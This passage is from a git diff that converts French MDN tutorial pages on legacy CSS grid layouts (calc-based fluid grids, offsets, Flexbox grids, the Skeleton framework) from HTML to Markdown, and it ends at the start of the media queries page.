colonne 4 nous pouvons écrire, par exemple :</p> +Revenon à nos trames ! Toute colonne se développant au delà de la première a une largeur totale de 6.25% multipliée par le nombre de colonnes précédentes plus 2.08333333% multiplié par le nombre de gouttières (qui doit toujours être égal au nombre de colonnes moins 1). La fonction `calc()` nous permet de faire ce calcul dans la valeur `width` même, ainsi pour tout élément au-delà de la colonne 4 nous pouvons écrire, par exemple : -<pre class="brush: css">.col.span4 { +```css +.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); -}</pre> +} +``` -<p>Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navigateur pour constater que vous obtenez un résultat identique :</p> +Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navigateur pour constater que vous obtenez un résultat identique : -<pre class="brush: css">.col.span2 { width: calc((6.25%*2) + 2.08333333%); } +```css +.col.span2 { width: calc((6.25%*2) + 2.08333333%); } .col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); } .col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); } .col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); } @@ -344,85 +377,87 @@ body { .col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); } .col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); } .col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); } -.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }</pre> +.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); } +``` -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir la version terminée dans <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html">fluid-grid-calc.html</a> (la voir aussi <a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html">en direct</a>).</p> -</div> +> **Note :** Vous pouvez voir la version terminée dans [fluid-grid-calc.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-calc.html) (la voir aussi [en direct](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html)). -<div class="note"> -<p><strong>Note :</strong> Si vous n'arrivez pas à faire fonctionner ce qui précède, cela peut être dû au fait que votre navigateur ne prend pas en charge la fonction <code>calc()</code>, même si elle est assez bien prise en charge parmi les navigateurs — au‑delà de IE9.</p> -</div> +> **Note :** Si vous n'arrivez pas à faire fonctionner ce qui précède, cela peut être dû au fait que votre navigateur ne prend pas en charge la fonction `calc()`, même si elle est assez bien prise en charge parmi les navigateurs — au‑delà de IE9. -<h3 id="Systèmes_de_trames_«_sémantiques_»_vs._«_non_sémantiques_»">Systèmes de trames « sémantiques » vs. « non sémantiques »</h3> +### Systèmes de trames « sémantiques » vs. « non sémantiques » -<p>Ajouter des classes au balisage pour définir une mise en page signifie que le contenu et le balisage sont liés à la présentation visuelle. Cette utilisation de classes CSS est parfois décrite comme étant « non sémantique » — montrant comment le contenu est disposé — par opposition à l'utilisation sémantique des classes qui décrit le contenu. C'est le cas de nos classes <code>span2</code>, <code>span3</code>, etc.</p> +Ajouter des classes au balisage pour définir une mise en page signifie que le contenu et le balisage sont liés à la présentation visuelle. Cette utilisation de classes CSS est parfois décrite comme étant « non sémantique » — montrant comment le contenu est disposé — par opposition à l'utilisation sémantique des classes qui décrit le contenu. C'est le cas de nos classes `span2`, `span3`, etc. -<p>Ce n'est pas la seule approche. À la place, vous pouvez décider de la trame, puis ajouter les informations de taille aux règles des classes sémantiques existantes. Par exemple, si vous avez un élément {{htmlelement("div")}} de classe <code>content</code> que vous voulez développer sur huit colonnes, vous pouvez copier sur la largeur de la classe <code>span8</code>, ce qui vous donne une règle :</p> +Ce n'est pas la seule approche. À la place, vous pouvez décider de la trame, puis ajouter les informations de taille aux règles des classes sémantiques existantes. Par exemple, si vous avez un élément {{htmlelement("div")}} de classe `content` que vous voulez développer sur huit colonnes, vous pouvez copier sur la largeur de la classe `span8`, ce qui vous donne une règle : -<pre class="brush: css">.content { +```css +.content { width: calc((6.25%*8) + (2.08333333%*7)); -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Si vous deviez utiliser un préprocesseur tel que <a href="http://sass-lang.com/">Sass</a>, vous pourriez créer un simple mixage pour qu'il insère cette valeur pour vous.</p> -</div> +> **Note :** Si vous deviez utiliser un préprocesseur tel que [Sass](http://sass-lang.com/), vous pourriez créer un simple mixage pour qu'il insère cette valeur pour vous. -<h3 id="Décalage_du_conteneur_d'une_trame">Décalage du conteneur d'une trame</h3> +### Décalage du conteneur d'une trame -<p>La trame créée plus haut fonctionne bien tant que tous les conteneurs sont placés à l'aplomb du côté gauche d'une colonne de trame. Si nous voulons laisser une colonne vide avant le premier conteneur — ou entre les conteneurs — nous devons créer une classe <code>offset</code> pour ajouter une marge gauche à notre site pour le décaler visuellement dans la grille. Encore des calculs !</p> +La trame créée plus haut fonctionne bien tant que tous les conteneurs sont placés à l'aplomb du côté gauche d'une colonne de trame. Si nous voulons laisser une colonne vide avant le premier conteneur — ou entre les conteneurs — nous devons créer une classe `offset` pour ajouter une marge gauche à notre site pour le décaler visuellement dans la grille. Encore des calculs ! -<p>Essayons.</p> +Essayons. -<p>Démarrons avec le code précédent ou utilisons le fichier <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">fluid-grid.html</a> comme point de départ.</p> +Démarrons avec le code précédent ou utilisons le fichier [fluid-grid.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html) comme point de départ. -<p>Créons dans la CSS une classe qui décale un élément de conteneur d'une largaur de colonne. Ajoutons ce qui suit au bas de la CSS :</p> +Créons dans la CSS une classe qui décale un élément de conteneur d'une largaur de colonne. Ajoutons ce qui suit au bas de la CSS : -<pre class="brush: css">.offset-by-one { +```css +.offset-by-one { margin-left: calc(6.25% + (2.08333333%*2)); -}</pre> +} +``` -<p>Ou, si vous préférez calculer le pourcentage vous-même, utilisez :</p> +Ou, si vous préférez calculer le pourcentage vous-même, utilisez : -<pre class="brush: css">.offset-by-one { +```css +.offset-by-one { margin-left: 10.41666666%; -}</pre> +} +``` -<p>Vous pouvez maintenant ajouter cette classe à tout conteneur pour lequel vous voulez laisser une colonne vide sur sa gauche. Par exemple, si vous avez ceci dans votre HTML :</p> +Vous pouvez maintenant ajouter cette classe à tout conteneur pour lequel vous voulez laisser une colonne vide sur sa gauche. Par exemple, si vous avez ceci dans votre HTML : -<pre class="brush: html"><div class="col span6">14</div></pre> +```html +<div class="col span6">14</div> +``` -<p>remplacez‑le par :</p> +remplacez‑le par : -<pre class="brush: html"><div class="col span5 offset-by-one">14</div></pre> +```html +<div class="col span5 offset-by-one">14</div> +``` -<div class="note"> -<p><strong>Note :</strong> Notez que vous devez réduire le nombre de colonnes réparties pour faire de la place au décalage !</p> -</div> +> **Note :** Notez que vous devez réduire le nombre de colonnes réparties pour faire de la place au décalage ! -<p>Chargez et actualisez pour voir la différence, ou bien vérifiez avec l'exemple <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html">fluid-grid-offset.html</a> (voir aussi <a href="http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html">l'exécution directement</a>). L'exemple terminé doit ressembler à ceci :</p> +Chargez et actualisez pour voir la différence, ou bien vérifiez avec l'exemple [fluid-grid-offset.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html) (voir aussi [l'exécution directement](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html)). L'exemple terminé doit ressembler à ceci : -<p><img alt="" src="offset-grid-finished.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Comme exercice supplémentaire, pouvez‑vous implémenter une classe <code>offset-by-two</code> ?</p> -</div> +> **Note :** Comme exercice supplémentaire, pouvez‑vous implémenter une classe `offset-by-two` ? -<h3 id="Limitations_des_trames_de_boîtes_flottantes">Limitations des trames de boîtes flottantes</h3> +### Limitations des trames de boîtes flottantes -<p>En utilisant un tel système, vous devez veiller à ce que la somme des largeurs doit correcte et que ne soit pas inclus d'éléments dans une ligne qui s'étendent sur plus de colonnes que la rangée peut en contenir. En raison du mode de fonctionnement des boîtes flottantes, si le nombre de colonnes de la grille devient trop large pour la trame, les éléments d'extrémité descendront sur la ligne suivante et casseront la trame.</p> +En utilisant un tel système, vous devez veiller à ce que la somme des largeurs doit correcte et que ne soit pas inclus d'éléments dans une ligne qui s'étendent sur plus de colonnes que la rangée peut en contenir. En raison du mode de fonctionnement des boîtes flottantes, si le nombre de colonnes de la grille devient trop large pour la trame, les éléments d'extrémité descendront sur la ligne suivante et casseront la trame. -<p>N'oubliez pas non plus que si le contenu des éléments s'élargit au-delà des rangées qu'ils occupent, il y aura débordement et tout sera gâché.</p> +N'oubliez pas non plus que si le contenu des éléments s'élargit au-delà des rangées qu'ils occupent, il y aura débordement et tout sera gâché. -<p>La plus grande limite de ce système est essentiellement son caractère unidimensionnel. Il s'agit de colonnes et de répartition d'éléments transversaux, mais pas de lignes. Il est très difficile avec ces anciennes méthodes de mise en page de contrôler la hauteur des éléments sans fixer explicitement une hauteur, et c'est aussi une approche très rigide — cela ne fonctionne que si vous pouvez garantir que le contenu est d'une hauteur donnée..</p> +La plus grande limite de ce système est essentiellement son caractère unidimensionnel. Il s'agit de colonnes et de répartition d'éléments transversaux, mais pas de lignes. Il est très difficile avec ces anciennes méthodes de mise en page de contrôler la hauteur des éléments sans fixer explicitement une hauteur, et c'est aussi une approche très rigide — cela ne fonctionne que si vous pouvez garantir que le contenu est d'une hauteur donnée.. -<h2 id="Trames_Flexbox">Trames Flexbox ?</h2> +## Trames Flexbox ? -<p>Si vous avez lu le précédent article à propors de Flexbox, vous pourriez penser que Flexbox est la solution idéale pour créer un système de trames. Il existe actuellement nombre de systèmes de grille fondés sur Flexbox et Flexbox peut résoudre beaucoup de problèmes mis en évidence lors de la création de notre trame ci-dessus.</p> +Si vous avez lu le précédent article à propors de Flexbox, vous pourriez penser que Flexbox est la solution idéale pour créer un système de trames. Il existe actuellement nombre de systèmes de grille fondés sur Flexbox et Flexbox peut résoudre beaucoup de problèmes mis en évidence lors de la création de notre trame ci-dessus. -<p>Cependant, Flexbox n'a jamais été conçu comme système de trames : il conduit à un nouvel ensemble de défis lorsqu'il est utilisé comme tel. Comme simple exemple, prenons le même exemple que celui utilisé ci-dessus et utilisons la CSS suivante pour mettre en page les classes <code>wrapper</code>, <code>row</code> et <code>col</code> :</p> +Cependant, Flexbox n'a jamais été conçu comme système de trames : il conduit à un nouvel ensemble de défis lorsqu'il est utilisé comme tel. Comme simple exemple, prenons le même exemple que celui utilisé ci-dessus et utilisons la CSS suivante pour mettre en page les classes `wrapper`, `row` et `col` : -<pre class="brush: css">body { +```css +body { width: 90%; max-width: 980px; margin: 0 auto; @@ -443,140 +478,147 @@ body { width: 6.25%; flex: 1 1 auto; background: rgb(255,150,150); -}</pre> +} +``` -<p>Faites ces remplacements dans votre exemple, ou regardez l'exemeple de code <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html">flexbox-grid.html</a> (voir aussi en <a href="http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html">exécution directe</a>).</p> +Faites ces remplacements dans votre exemple, ou regardez l'exemeple de code [flexbox-grid.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html) (voir aussi en [exécution directe](http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html)). -<p>Ici, nous transformons chaque rangée en conteneur flexible. Avec une trame fondée sur Flexbox, nous avons encore besoin de rangées pour avoir des éléments tant que leur somme est inférieure à 100%. Nous avons réglé ce conteneur à <code>display : flex</code>.</p> +Ici, nous transformons chaque rangée en conteneur flexible. Avec une trame fondée sur Flexbox, nous avons encore besoin de rangées pour avoir des éléments tant que leur somme est inférieure à 100%. Nous avons réglé ce conteneur à `display : flex`. -<p>Pour <code>.col</code> nous fixons à 1 la première valeur ({{cssxref("flex-grow")}}) de la propriété {{cssxref("flex")}}, ainsi nos éléments peuvent s'élargir, la deuxième valeur ({{cssxref("flex-shrink")}}) à 1 également, ainsi les éléments peuvent s'étrécir, et la troisième valeur ({{cssxref("flex-basis")}}) à <code>auto</code>. Comme la valeur {{cssxref("width")}} de l'élément est fixée, <code>auto</code> utilisera cette valeur en tant que valeur de <code>flex-basis</code>.</p> +Pour `.col` nous fixons à 1 la première valeur ({{cssxref("flex-grow")}}) de la propriété {{cssxref("flex")}}, ainsi nos éléments peuvent s'élargir, la deuxième valeur ({{cssxref("flex-shrink")}}) à 1 également, ainsi les éléments peuvent s'étrécir, et la troisième valeur ({{cssxref("flex-basis")}}) à `auto`. Comme la valeur {{cssxref("width")}} de l'élément est fixée, `auto` utilisera cette valeur en tant que valeur de `flex-basis`. -<p>Sur la ligne haute, nous disposons de douze boîtes nettes sur la trame et elle s'élargissent ou s'étrécissent de manière égale quand nous modifions la largeur de la vue. Sur la ligne suivante, toutefois, nous n'avons que quatre éléments et ceux-ci s'élargissent ou s'étrécissent à partir de la base de 60px. Avec seulement quatre d'entre eux ils peuvent s'élargir un peu plus que les éléments de la ligne au‑dessus, le résultat étant qu'ils occupent tous la même largeur sur la deuxième ligne.</p> +Sur la ligne haute, nous disposons de douze boîtes nettes sur la trame et elle s'élargissent ou s'étrécissent de manière égale quand nous modifions la largeur de la vue. Sur la ligne suivante, toutefois, nous n'avons que quatre éléments et ceux-ci s'élargissent ou s'étrécissent à partir de la base de 60px. Avec seulement quatre d'entre eux ils peuvent s'élargir un peu plus que les éléments de la ligne au‑dessus, le résultat étant qu'ils occupent tous la même largeur sur la deuxième ligne. -<p><img alt="" src="flexbox-grid-incomplete.png"></p> + -<p>Pour corriger cela, nous avons encore besoin d'inclure les classes <code>span</code> pour donner une largeur qui remplave la valeur donnée par <code>flex-basis</code> pour cet élément.</p> +Pour corriger cela, nous avons encore besoin d'inclure les classes `span` pour donner une largeur qui remplave la valeur donnée par `flex-basis` pour cet élément. -<p>Également, ils ne respectent pas la trame utilisée par les éléments au‑dessus car ils ne « savent » rien à son propos.</p> +Également, ils ne respectent pas la trame utilisée par les éléments au‑dessus car ils ne « savent » rien à son propos. -<p>Flexbox est un design <strong>mono-dimensionnel</strong> par conception. Il compose avec une seule dimentsion, celle d'une ligne ou d'une colonne. Nous ne pouvons pas créer une trame stricte pour les colonnes <strong>et</strong> pour les lignes, ce qui signifie que si nous utilisons Flexbox pour une trame, nous devons encore calculer les pourcentages comme pour la disposition en boîtes flottantes.</p> +Flexbox est un design **mono-dimensionnel** par conception. Il compose avec une seule dimentsion, celle d'une ligne ou d'une colonne. Nous ne pouvons pas créer une trame stricte pour les colonnes **et** pour les lignes, ce qui signifie que si nous utilisons Flexbox pour une trame, nous devons encore calculer les pourcentages comme pour la disposition en boîtes flottantes. -<p>Dans votre projet, vous pouvez toujours choisir d'utiliser une « trame » Flexbox en raison des capacités d'alignement et de distribution de l'espace supplémentaires que Flexbox offre pour les boites flottantes. Mais sachez que vous utilisez encore un outil pour autre chose que ce pour quoi il a été conçu. Vous pouvez donc avoir l'impression d'être obligé de passer par un tas de circonvolutions pour obtenir le résultat final souhaité.</p> +Dans votre projet, vous pouvez toujours choisir d'utiliser une « trame » Flexbox en raison des capacités d'alignement et de distribution de l'espace supplémentaires que Flexbox offre pour les boites flottantes. Mais sachez que vous utilisez encore un outil pour autre chose que ce pour quoi il a été conçu. Vous pouvez donc avoir l'impression d'être obligé de passer par un tas de circonvolutions pour obtenir le résultat final souhaité. -<h2 id="Systèmes_de_trame_tierces_parties">Systèmes de trame tierces parties</h2> +## Systèmes de trame tierces parties -<p>Maintenant que nous avons compris la mathématique derrière les calculs de grille, nous sommes au bon endroit pour examiner certains des systèmes de trame tierces parties couramment utilisés. Si vous faite une recherche web pour « CSS Grid framework », vous vous trouverez devant une liste de choix énorme. Les canevas populaires tels que <a href="http://getbootstrap.com/">Bootstrap</a> et <a href="http://foundation.zurb.com/">Foundation</a> incluent un système de trame. Il existe également des systèmes de trames autonomes, développés soit à l'aide des CSS, soit à l'aide de préprocesseurs.</p> +Maintenant que nous avons compris la mathématique derrière les calculs de grille, nous sommes au bon endroit pour examiner certains des systèmes de trame tierces parties couramment utilisés. Si vous faite une recherche web pour « CSS Grid framework », vous vous trouverez devant une liste de choix énorme. Les canevas populaires tels que [Bootstrap](http://getbootstrap.com/) et [Foundation](http://foundation.zurb.com/) incluent un système de trame. Il existe également des systèmes de trames autonomes, développés soit à l'aide des CSS, soit à l'aide de préprocesseurs. -<p>Voyons un de ces systèmes autonomes : il montre les techniques courantes pour travailler dans un cadre de trames. La trame que nous allons utiliser fait partie de Skeleton, un simple canevas CSS.</p> +Voyons un de ces systèmes autonomes : il montre les techniques courantes pour travailler dans un cadre de trames. La trame que nous allons utiliser fait partie de Skeleton, un simple canevas CSS. -<p>Commençons par visiter le <a href="http://getskeleton.com/">site web de Skeleton</a> et choisissons « Download » pour télécharger le fichier ZIP. Faisons l'extraction et copions les fichiers <em>skeleton.css</em> et <em>normalize.css</em> dans un nouveau répertoire.</p> +Commençons par visiter le [site web de Skeleton](http://getskeleton.com/) et choisissons « Download » pour télécharger le fichier ZIP. Faisons l'extraction et copions les fichiers _skeleton.css_ et _normalize.css_ dans un nouveau répertoire. -<p>Faites une copie de <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html">html-skeleton.html</a> et enregistrez le dans le même répertoire que <em>skeleton.css</em> et <em>normalize.css</em>.</p> +Faites une copie de [html-skeleton.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html) et enregistrez le dans le même répertoire que _skeleton.css_ et _normalize.css_. -<p>Incorporez les .css <em>skeleton</em> et <em>normalize</em> dans la page HTML, en ajoutant ce qui suit dans <code>head</code> :</p> +Incorporez les .css _skeleton_ et _normalize_ dans la page HTML, en ajoutant ce qui suit dans `head` : -<pre class="brush: html"><link href="normalize.css" rel="stylesheet"> -<link href="skeleton.css" rel="stylesheet"></pre> +```html +<link href="normalize.css" rel="stylesheet"> +<link href="skeleton.css" rel="stylesheet"> +``` -<p>Skeleton inclut plus qu'un système de grille — il contient aussi des CSS pour la typographie et autres éléments de page que vous pouvez utiliser comme point de départ. Toutefois nous les laisserons de côté pour l'instant — c'est la trame qui nous interesse pour le moment.</p> +Skeleton inclut plus qu'un système de grille — il contient aussi des CSS pour la typographie et autres éléments de page que vous pouvez utiliser comme point de départ. Toutefois nous les laisserons de côté pour l'instant — c'est la trame qui nous interesse pour le moment. -<div class="note"> -<p><strong>Note :</strong> <a href="/fr/docs/">Normalize</a> est une petite bibliothèque réellement utile écrite par Nicolas Gallagher, bibliothèque qui fait automatiquement quelques corrections sur les dispositions de base et rend le style des éléments par défaut plus conhérent entre les divers navigateurs.</p> +> **Note :** [Normalize](/fr/docs/) est une petite bibliothèque réellement utile écrite par Nicolas Gallagher, bibliothèque qui fait automatiquement quelques corrections sur les dispositions de base et rend le style des éléments par défaut plus conhérent entre les divers navigateurs. + +Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce qui suit dans le corps du HTML : + +```html +<div class="container"> + <div class="row"> + <div class="col">1</div> + <div class="col">2</div> + <div class="col">3</div> + <div class="col">4</div> + <div class="col">5</div> + <div class="col">6</div> + <div class="col">7</div> + <div class="col">8</div> + <div class="col">9</div> + <div class="col">10</div> + <div class="col">11</div> + <div class="col">12</div> + </div> + <div class="row"> + <div class="col">13</div> + <div class="col">14</div> + <div class="col">15</div> + <div class="col">16</div> + </div> </div> +``` + +Pour commencer à utiliser Skeleton nous devons donner à l'élément enveloppe {{htmlelement("div")}} une classe `container` — elle est déjà comprise dans le HTML. Ceci centre le contenu avec une largeur maximale de 960 pixels. Vous pouvez voir que les boîtes ne deviennent plus jamais plus large que 960 pixels. -<p>Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce qui suit dans le corps du HTML :</p> - -<pre class="brush: html"><div class="container"> - <div class="row"> - <div class="col">1</div> - <div class="col">2</div> - <div class="col">3</div> - <div class="col">4</div> - <div class="col">5</div> - <div class="col">6</div> - <div class="col">7</div> - <div class="col">8</div> - <div class="col">9</div> - <div class="col">10</div> - <div class="col">11</div> - <div class="col">12</div> - </div> - <div class="row"> - <div class="col">13</div> - <div class="col">14</div> - <div class="col">15</div> - <div class="col">16</div> - </div> -</div></pre> - -<p>Pour commencer à utiliser Skeleton nous devons donner à l'élément enveloppe {{htmlelement("div")}} une classe <code>container</code> — elle est déjà comprise dans le HTML. Ceci centre le contenu avec une largeur maximale de 960 pixels. Vous pouvez voir que les boîtes ne deviennent plus jamais plus large que 960 pixels.</p> - -<p>Regardez dans le fichier skeleton.css, vous verrez la CSS appliquée quand on se sert de cette classe. L'élément <code><div></code> est centré en utilisant la valeur <code>auto</code> pour les marges droite et gauche ; de plus, un remplissage de 20 pixels est appliqué à droite et à gauche. Skeleton fixe également la propriété {{cssxref("box-sizing")}} à la valeur <code>border-box</code> comme nous l'avions fait plu tôt et donc le remplissage et l'encadrement de cet élément seront inclus dans la largeur totale.</p> - -<pre class="brush: css">.container { +Regardez dans le fichier skeleton.css, vous verrez la CSS appliquée quand on se sert de cette classe. L'élément `<div>` est centré en utilisant la valeur `auto` pour les marges droite et gauche ; de plus, un remplissage de 20 pixels est appliqué à droite et à gauche. Skeleton fixe également la propriété {{cssxref("box-sizing")}} à la valeur `border-box` comme nous l'avions fait plu tôt et donc le remplissage et l'encadrement de cet élément seront inclus dans la largeur totale. + +```css +.container { position: relative; width: 100%; max-width: 960px; margin: 0 auto; padding: 0 20px; box-sizing: border-box; -}</pre> +} +``` -<p>Les éléments ne peuvent faire partie d'une trame que s'ils sont à l'intérieur d'une ligne, donc avec notre exemple précédent nous aurons besoin d'un <code><div></code> supplémentaire ou d'un autre élément de la classe <code>row</code> imbriqué entre le <code><div></code> de <code>content </code>et les véritables conteneurs <code><div> </code>de contenu. Nous avons aussi déjà fait cela.</p> +Les éléments ne peuvent faire partie d'une trame que s'ils sont à l'intérieur d'une ligne, donc avec notre exemple précédent nous aurons besoin d'un `<div>` supplémentaire ou d'un autre élément de la classe `row` imbriqué entre le `<div>` de `content `et les véritables conteneurs `<div> `de contenu. Nous avons aussi déjà fait cela. -<p>Disposons maintenant les boîtes conteneur. Skeleton est fondé sur une trame de 12 colonnes. Les boîtes de la ligne supérieure nécessitent toutes des classes <code>one column</code> pour qu'elles se répartissent à raison de une par colonne.</p> +Disposons maintenant les boîtes conteneur. Skeleton est fondé sur une trame de 12 colonnes. Les boîtes de la ligne supérieure nécessitent toutes des classes `one column` pour qu'elles se répartissent à raison de une par colonne. -<p>Ajoutez maintenant cet extrait de lignes de code :</p> +Ajoutez maintenant cet extrait de lignes de code : -<pre class="brush: html"><div class="container"> - <div class="row"> - <div class="one column">1</div> - <div class="one column">2</div> - <div class="one column">3</div> +```html +<div class="container"> + <div class="row"> + <div class="one column">1</div> + <div class="one column">2</div> + <div class="one column">3</div> /* and so on */ - </div> -</div></pre> + </div> +</div> +``` -<p>Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre de colonnes qu'ils englobent , ainsi :</p> +Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre de colonnes qu'ils englobent , ainsi : -<pre class="brush: html"><div class="row"> - <div class="one column">13</div> - <div class="six columns">14</div> - <div class="three columns">15</div> - <div class="two columns">16</div> -</div></pre> +```html +<div class="row"> + <div class="one column">13</div> + <div class="six columns">14</div> + <div class="three columns">15</div> + <div class="two columns">16</div> +</div> +``` -<p>Enregistrez le fichier HTML et chargez‑le dans le navigateur pour voir ce que cela donne.</p> +Enregistrez le fichier HTML et chargez‑le dans le navigateur pour voir ce que cela donne. -<div class="note"> -<p><strong>Note :</strong> Si vous éprouvez des difficulatés à faire fonctionner cet exemple, comparez votre code avec le fichier <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html">html-skeleton-finished.html</a> (à voir aussi <a href="http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html">en exécution directe</a>).</p> -</div> +> **Note :** Si vous éprouvez des difficulatés à faire fonctionner cet exemple, comparez votre code avec le fichier [html-skeleton-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html) (à voir aussi [en exécution directe](http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html)). -<p>Si vous regardez dans le fichier <em>skeleton.css</em> vous verrez comment cela fonctionne. Par exemple, Skeleton prédéfinit ce qui suit pour styler des éléments de la classe « three columns » que l'on ajouterait.</p> +Si vous regardez dans le fichier _skeleton.css_ vous verrez comment cela fonctionne. Par exemple, Skeleton prédéfinit ce qui suit pour styler des éléments de la classe « three columns » que l'on ajouterait. -<pre class="brush: css">.three.columns { width: 22%; }</pre> +```css +.three.columns { width: 22%; } +``` -<p>Tout Skeleton (ou n'importe quel autre canevas) paramètre des classes prédéfinies qu'il est possible d'utiliser en les ajoutant à votre balisage. Vous avez fait exactement la même chose en calculant ces pourcentages vous même.</p> +Tout Skeleton (ou n'importe quel autre canevas) paramètre des classes prédéfinies qu'il est possible d'utiliser en les ajoutant à votre balisage. Vous avez fait exactement la même chose en calculant ces pourcentages vous même. -<p>Comme vous le voyez, vous n'avez besoin d'écrire que peu de CSS en utilisant Skeleton. Il traite tout l'aspect boîte flottante pour vous quand vous ajoutez des classes à votre balisage. C'est la possibilité de gérer la responsabilité de la disposition sur quelque chose d'autre qui fait que l'utilisation d'un canevas pour un système de trames est un choix convaincan ! Toutefois, actuellement avec « CSS Grid Layout », nombre de développeurs délaissent ces canevas pour l'utilisation des trames natives intégrées que les CSS fournissent.</p> +Comme vous le voyez, vous n'avez besoin d'écrire que peu de CSS en utilisant Skeleton. Il traite tout l'aspect boîte flottante pour vous quand vous ajoutez des classes à votre balisage. C'est la possibilité de gérer la responsabilité de la disposition sur quelque chose d'autre qui fait que l'utilisation d'un canevas pour un système de trames est un choix convaincan ! Toutefois, actuellement avec « CSS Grid Layout », nombre de développeurs délaissent ces canevas pour l'utilisation des trames natives intégrées que les CSS fournissent. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Vous savez maintenant comment les divers systèmes de trames sont créés. La connaissance de ces processus est utile dans le cadre d'un travail sur des sites anciens, ainsi que pour la compréhension des différences entre les trames natives de « CSS Grid Layout » et celles des anciens systèmes.</p> +Vous savez maintenant comment les divers systèmes de trames sont créés. La connaissance de ces processus est utile dans le cadre d'un travail sur des sites anciens, ainsi que pour la compréhension des différences entre les trames natives de « CSS Grid Layout » et celles des anciens systèmes. -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal Flow</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [Introduction to CSS layout](/fr/docs/Learn/CSS/CSS_layout/Introduction) +- [Normal Flow](/fr/docs/Learn/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/media_queries/index.md b/files/fr/learn/css/css_layout/media_queries/index.md index f629d17eb3..6a9f08ddef 100644 --- a/files/fr/learn/css/css_layout/media_queries/index.md +++ b/files/fr/learn/css/css_layout/media_queries/index.md @@ -4,197 +4,216 @@ slug: Learn/CSS/CSS_layout/Media_queries translation_of: Learn/CSS/CSS_layout/Media_queries original_slug: Apprendre/CSS/CSS_layout/Media_queries --- -<p>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p> +{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}} -<p>The <strong>CSS Media Query</strong> gives you a way to apply CSS 